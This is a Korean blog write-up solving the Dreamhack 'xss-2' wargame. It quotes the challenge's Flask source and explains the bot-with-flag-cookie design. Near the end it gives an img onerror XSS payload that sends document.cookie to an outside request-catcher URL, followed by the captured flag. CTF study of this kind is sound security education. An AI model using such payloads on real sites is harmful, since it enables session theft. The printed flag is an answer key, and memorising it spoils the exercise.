[Dreamhack] xss-2 풀이

Dohyun Park·2023년 10월 11일
0

Wargame

목록 보기
5/6

🔍️문제 설명

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

플래그 형식은 DH{…} 입니다.

출처: dreamhack

📗문제 분석


문제 사이트에 접속하면 vuln(xss)page, memo, flag 페이지가 있습니다.

vuln(xss) 페이지에서는 param 파라미터를 통해 HTML 코드를 작성할 수 있습니다.

(기본으로 작성된 코드는 <script>alert(1)</script> 입니다.)

memo 페이지에서는 memo 파라미터를 통해 텍스트를 이어붙이는 메모장 역할을 하고 있습니다.

flag 페이지에서는 페이로드를 입력하고 전송할 수 있습니다.

🖥️app.py

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    return render_template("vuln.html")


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

본 문제에서는 소스코드를 제공하고 있습니다.
압축파일에는 app.py 외에도 static, template 폴더도 존재하지만 문제 해결에 영향을 주는 요소는 아니므로 분석하지 않았습니다.

CodeDescription
[read_url 함수]

url과 쿠키값을 받는 함수이며 셀레니움 모듈을 통해 입력받은 URL에 접속하고 있습니다.
[check_xss 함수]

param(flag 페이지에서 POST요청을 보낸 값), 쿠키값을 받는 함수입니다.

param 값을 URL인코딩하여 URL이라는 변수에 저장한 후 위에 있는 read_url 함수를 실행한 값을 리턴합니다.

URL에 있는 페이지: /vuln
루트페이지에서는 index.html을 리턴하고 있습니다.

/vuln 페이지에서는 vuln.html을 리턴하고 있습니다.

GET 메소드로 접근한 /flag 페이지에서는 flag.html을 리턴하고 있습니다.

POST 메소드로 접근한 /flag 페이지에서는 param이라는 값을 받아 if 조건문을 확인 후 결과에 따라 wrong??/good 이라는 alert을 띄우고 이전페이지로 이동시킵니다.
(자세한 내용은 하단에 추가 기술)
memo 페이지에서는 memo_text라는 변수에 GET 파라미터(memo)를 이어붙이는 메모장 페이지 역할을 하고 있습니다.

📖if문 추가분석

param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
    return '<script>alert("wrong??");history.go(-1);</script>'

return '<script>alert("good");history.go(-1);</script>'

첫 번째 param은 사용자가 입력한 값(param)을 받아 변수에 저장합니다.

그다음에 있는 if문에서는 check_xss 함수를 실행합니다. 이때 사용자가 입력한 param값과 {"name": "flag", "value": FLAG.strip()} 값을 check_xss 함수에 보내게 됩니다.

check_xss 함수는 param, 쿠키값을 받아 param 값을 URL인코딩하여 URL이라는 변수에 저장한 후 read_url 함수로 전달합니다.

read_url 함수에서는 url과 쿠키값을 받아 전달받은 쿠키값을 driver.add_cookie(cookie)를 통해 셀레니움 봇의 쿠키에 추가하고, 전달받은 url로 이동합니다.

read_url 함수가 정상적으로 종료될 경우(셀레니움 quit) False를 리턴하게 되고, 이는 다시 check_xss 함수의 리턴값이 False로 되게됩니다.

✏️문제 풀이

따라서 Flag값을 얻기 위해서는 셀레니움 봇의 쿠키를 탈취해야합니다.

페이로드는 /flag 페이지에서 입력할 수 있고, 여기서 입력한 값을 셀레니움 봇이 /vuln?param=페이로드 페이지로 이동합니다.

따라서 vuln 페이지에서 이것이 작동하는 코드인지 확인할 수 있고, flag 페이지에서 공격을 시도할 수 있습니다.

쿠키는 자바스크립트의 document.cookie를 통해 가져올 수 있습니다.

하지만 취약점을 확인할 수 있는 vuln 페이지에서 자바스크립트를 사용하기 위해 쓰는 <script> 태그가 차단되어있음을 확인할 수 있습니다.

따라서 document.cookie를 사용하기 위해서는 약간의 우회가 필요합니다.

대표적인 예로 <img> 태그의 onerror 처리를 들 수 있습니다.

payload: http://host3.dreamhack.games:11877/vuln?param=<img src="1">

<img src=x onerror=this.src='https://enujhf0gvo6cm.x.pipedream.net/'+document.cookie;>

🚩FLAG

DH{3c01577e9542ec24d68ba0ffb846508f}

profile
공부한 내용을 기록하고 생각을 정리합니다.

0개의 댓글